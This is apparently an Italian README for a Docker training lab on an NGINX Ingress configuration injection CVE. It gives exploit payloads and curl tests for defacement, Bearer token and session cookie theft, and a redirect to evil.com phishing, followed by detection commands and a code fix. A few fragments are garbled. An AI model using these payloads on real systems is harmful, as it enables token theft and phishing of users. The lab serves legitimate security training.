# Laboratorio vulnerabile basato su Docker per CVE-2026-3288 NGINX Ingress configuration injection, con script di exploit, monitoraggio di rilevamento e guida alla remediation per formazione sulla sicurezza autorizzata.
⚠️ AVVISO: Questo lab contiene configurazioni intenzionalmente vulnerabili SOLO PER FORMAZIONE SULLA SICUREZZA AUTORIZZATA
CVE-2026-3288 (CVSS 8.8 ALTA) - Iniezione di configurazione nel NGINX Ingress Controller
") nella configurazione del percorsoLa funzione buildProxyPass() non sanifica l'input del percorso prima di interpolarlo nella configurazione di nginx, consentendo agli attaccanti di uscire dalle stringhe tra virgolette e iniettare direttive nginx arbitrarie.
CVE-2026-3288-lab/
├── README.md # Questo file
├── docker-compose.yml # Configurazione principale del lab
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # Configurazione NGINX vulnerabile
│ │ ├── nginx.conf # Configurazione di base
│ │ └── vulnerable-config.conf # Gestione vulnerabile del percorso
│ └── backend/
│ ├── Dockerfile # Semplice applicazione backend
│ └── app.py # Applicazione Flask
├── exploits/
│ ├── exploit.py # Script di sfruttamento automatizzato
│ ├── payloads.txt # Raccolta di payload di sfruttamento
│ └── test-exploits.sh # Testa tutti gli exploit
├── detection/
│ └── monitor-logs.sh # Monitora i tentativi di sfruttamento
└── cleanup/
└── cleanup.sh # Rimuove tutte le risorse del lab
cd CVE-2026-3288-lab
# Avvia l'ambiente vulnerabile
docker-compose up -d
# Controlla lo stato
docker-compose ps
# Testa che il backend sia in esecuzione
curl http://localhost:8080/
# Testa che NGINX sia in esecuzione
curl http://localhost/
cd exploits
# Sfruttamento automatizzato
python3 exploit.py --all
# Oppure testa i singoli exploit
bash test-exploits.sh
# Osserva i log NGINX per attività di sfruttamento
docker-compose logs -f nginx
# Monitora il rilevamento
cd detection
bash monitor-logs.sh
docker-compose down -v
Inietta la direttiva return di nginx per servire contenuti controllati dall'attaccante.
Payload:
/api" return 200 "HACKED BY ATTACKER
Test:
curl 'http://localhost/api" return 200 "HACKED'
Rifletti gli header Authorization nella risposta per rubare i token Bearer.
Payload:
/login" return 200 "Token: $http_authorization
Test:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
Reindirizza gli utenti verso un sito di phishing controllato dall'attaccante.
Payload:
/" return 302 "https://evil.com/phishing
Test:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
Divulga informazioni interne del server.
Payload:
/" return 200 "Internal IP: $server_addr
Test:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
Rubare i cookie di sessione.
Payload:
/" return 200 "Cookies: $http_cookie
Test:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# Configurazione vulnerabile
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
Quando il percorso contiene ", interrompe la stringa tra virgolette:
# Input dell'attaccante: /api" return 200 "HACKED
# Risultato:
location ~ "^/api" return 200 "HACKED" {
# La configurazione originale è ora rotta
}
# Cerca pattern sospetti
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# Controlla la configurazione NGINX per direttive iniettate
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" e \// Prima (vulnerabile)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// Dopo (corretto)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
Dopo aver completato questo lab, comprenderai:
# Controlla i log
docker-compose logs
# Riavvia
docker-compose restart
# Cambia le porte in docker-compose.yml
# Oppure ferma i servizi in conflitto
sudo lsof -i :80
# Verifica che NGINX sia in esecuzione
docker-compose ps nginx
# Controlla la configurazione NGINX
docker exec cve-2026-3288-nginx nginx -t
Creato esclusivamente per formazione sulla sicurezza autorizzata e scopi di ricerca